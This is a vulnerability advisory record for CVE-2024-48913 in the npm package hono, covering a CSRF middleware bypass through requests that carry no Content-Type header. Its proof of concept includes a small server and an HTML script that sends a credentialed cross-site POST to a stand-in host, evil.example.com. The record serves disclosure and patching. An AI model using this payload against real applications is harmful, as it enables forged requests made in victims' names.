CVE-2024-48913 – hono

Package

Manager: npm
Name: hono
Vulnerable Version: >=0 <4.6.5

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N

CVSS v4.0: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS: 0.00019 pctl0.03394

Details

Hono allows bypass of CSRF Middleware by a request without Content-Type header. ### Summary Bypass CSRF Middleware by a request without Content-Type herader. ### Details Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89 ### PoC ```server.js // server.js import { Hono } from 'hono' import { csrf }from 'hono/csrf' const app = new Hono() app.use(csrf()) app.get('/', (c) => { return c.html('Hello Hono!') }) app.post('/', async (c) => { console.log("executed") return c.text( await c.req.text()) }) Deno.serve(app.fetch) ``` ```poc.html <!-- PoC.html --> <script> async function myclick() { await fetch("http://evil.example.com", { method: "POST", credentials: "include", body:new Blob([`test`],{}), }); } </script> <input type="button" onclick="myclick()" value="run" /> ``` Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body. ```PoC2.js await fetch("http://localhost:8000", { method: "POST", credentials: "include"}); ``` ### Impact Bypass csrf protection implemented with hono csrf middleware.

Metadata

Created: 2024-10-15T17:43:50Z
Modified: 2024-11-07T18:33:19Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-2234-fmw7-43wr/GHSA-2234-fmw7-43wr.json
CWE IDs: ["CWE-352"]
Alternative ID: GHSA-2234-fmw7-43wr
Finding: F007
Auto approve: 1